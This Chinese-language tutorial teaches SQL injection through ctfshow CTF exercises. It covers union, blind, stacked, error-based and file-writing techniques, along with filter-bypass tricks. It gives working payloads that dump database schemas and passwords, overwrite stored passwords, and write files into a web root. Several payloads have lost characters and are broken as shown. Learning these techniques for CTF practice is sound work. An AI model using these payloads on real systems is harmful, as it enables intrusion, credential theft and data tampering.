简介
SQL(Structured Query Language,结构化查询语言)是一种用于管理和操作关系型数据库的标准化编程语言。
其中常见的mysql数据库便是如此。
而sql注入就是结合sql语法,构造恶意输入,使得服务器返回本不应该返回的信息。
sql的基本语法可以参考:SQL 语法 | 菜鸟教程

数据类型从大到小为:
数据库(database)–> 表(table) –> 列(column) –> 数据
也就是我们要定位一个数据,要知道它所处的数据库,表,乃至列。
其中,sql有一个特殊的数据库:information_schema,它存储着所有的数据库名,表名
以下为information_schema库的常用表名
1 | 1.schemate |
sql注入的类型
最基础的查询
比如说,下方的语句是一个根据用户输入的id来查找用户名和密码的语句:
1 | $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
其中的id是受我们控制的。程序本意是通过id来定位对应的用户名和密码。
但是,我们可以构造一个简单的恶意输入,即1’ or 1=1 –+ 。
其中,–是注释符号,+会被url解码成空格,以此防止–和‘直接接触引发报错。当然,你用#来注释也是可以的
当我们输入这个的时候,语句也就变成了:
1 | $sql = "select username,password from user where username !='flag' and id = '1' or 1=1 -- ' limit 1;"; |
忽略掉注释内容,也就变成了:
1 | select username,password from user where username !='flag' and id = '1' or 1=1 -- |
1=1是永真式,因此也就查找出了所有语句,包括username=flag的数据。
这个为字符型闭合。与之相对的是数字型闭合。
两者的区别很简单,就是要不要加引号。
比如
1 | $sql = "select username,password from user where username !='flag' and id = ".$_GET['id']." limit 1;"; |
这时候使用id= 1 or 1=1 –+即可,无需引号。
联合注入
在sql有一种特殊的查询手段叫联合查询:UNION
它将两张表的某些字段的记录相加(并集)(注意:列数要相同)
因此也是我们注入时候常用的手段。
在使用时,我们往往会使用order来判断有多少列数据。
比如
输入?id=1’ order by 3 –+
输入?id=1’ order by 4 –+
发现输入第一句时回显正常,输入第二句时报错。
可以证明前面查询了三列数据。
或者我们可以一个个尝试,一般而言不会太多。
以ctfshow的web172为例子。
其中查询语句:
1 | //拼接sql语句查找指定ID用户 |
返回逻辑
1 | //检查结果是否有flag |
可以发现我们之前使用的方法不能用了,因为它会检测返回的结果。
因此,我们要想个办法,使得username不为flag但是password为flag内容
使用联合查询。
先查所在的数据库名字:
1 | 1' union select database() , --+ |
发现报错,于是添加数据。
1 | 1' union select 1,database() , --+ |
查出数据库名为 ctfshow_web。
然后查表名
1 | 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ |
发现有两个表,
分别为 ctfshow_user和ctfshow_user2
这时候两个都尝试一下就好了。
查table
1 | 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2'--+ |
查数据
1 | 1' union select 1,group_concat(password) from ctfshow_user2--+ |
布尔盲注
如果网站只有两个不同的返回结果,就可以采用布尔盲注。
比如:
1 | # 判断数据库长度 |
python脚本模板:
1 | import requests # 导入requests库,用于发送HTTP请求 |
以ctfshow web174为例子。
1 | import requests |
时间盲注
结合返回数据时间进行的盲注,主要使用substr,if,sleep函数
SUBSTR 函数用于从字符串中提取子字符串。
语法:SUBSTR(string, start_position, [length])
if函数跟其他语言的if一样。有三个参数,第一个参数是条件,第二个是真返回的语句,第二个是假返回的语句。
sleep延时函数,sleep(3)就是程序暂停三秒的意思。
以ctfshow web175为例子
检测方法:
1 | 1' and if(1=1,sleep(3),1)--+ |
意思是如果1=1,则sleep(3)延迟三秒,否则返回1
可以明显看到网站进行了延时。
因此可以采取时间盲注。
以下为常见的模板脚本脚本
1 | # @Author:Y4tacker |
堆叠注入
在 MySQL、SQL Server、PostgreSQL 等数据库中,分号表示一条 SQL 语句的结束。当后端数据库访问接口(如 PHP 的 mysqli_multi_query())支持一次执行多条语句时,攻击者可在原有语句后添加分号并拼接新的 SQL,从而突破原语句的限制。
以ctfshow web195为例子。用;终止上条查询语句,然后我们就可以用更新语句来修改表内内容
1 | 0;update`ctfshow_user`set`pass`=1 |
密码输入
1
提交两次即可,第一次触发修改。
报错注入
报错注入的核心在于利用数据库的报错函数,例如 MySQL 提供的 updatexml() 函数。当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
常见的函数:
extractvalue 和 updatexml
对应payload
1 | ?id=1" and (select updatexml(1,concat(0x23,(select database())),0x23))--+ |
floor(要求表足够大)
原理:触发主键重复冲突,重而通过报错得知主键
比如
1 | select count(*), concat((select database()), floor(rand(0)*2)) x from users group by x; |
concat((select database()), floor(rand(0)\*2)):将查询到的数据库名与0或1拼接,构造出一个新的字符串键,比如"security1"或"security0"。当上述的“主键重复”报错发生时,MySQL 会抛出如下错误:
ERROR 1062 (23000): Duplicate entry 'security1' for key 'group_key'1
2
3
4
5
- 于是,原本应该在查询结果里显示的数据库名 **"security"**,因为报错,被直接带到了错误信息里。
对应payload
爆库
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,(SELECT schema_name from information_schema.schemata LIMIT 0,1),0x23,floor(rand(0)2)) as x
from information_schema.COLUMNS GROUP BY x)
as y)
爆表
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(),concat(0x23,
(SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT 0,1),
0x23,floor(rand(0)2)) as x
from information_schema.COLUMNS GROUP BY x)
as y)
爆列
SELECT * FROM user_rule WHERE id = 1 AND (SELECT 1 from
(SELECT count(),concat(0x23,(SELECT column_name from information_schema.COLUMNS where table_name = ‘members’ LIMIT 0,1),
0x23,floor(rand(0)*2)) as x
from information_schema.COLUMNS GROUP BY x)
as y)
1 |
|
可以参考ctfshow web173
进行替换
当返回检测很严格的时候可以采取替换,即replace()函数,比如:
1 | 0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+ |
可以参考ctfshow174
双写绕过
适用于将关键词删除的绕过方法
比如UNIUNIONON删去UNION后就是UNION
二次绕过
也就是第一次往数据库写入东西,第二次结合第一次的内容进行注入。
读写文件
用于有可写权限但是严格过滤的环境。
以ctfshow web175为例子
1 | id=1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'--+ |
大小写绕过
sql语句是大小写不敏感的,因此可以使用大小写绕过。
以ctfshow web176为例子
1 | 1' Union Select 1,2,database() |
绕过空格
过滤空格,使用/**/注释绕过,或者%09tab水平制表符, %0c也行
以ctfshow web181为例子
1 | 1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c |
常用工具
sqlmap
sqlmap是我们经常使用的自动化注入工具
以ctfshow213为例子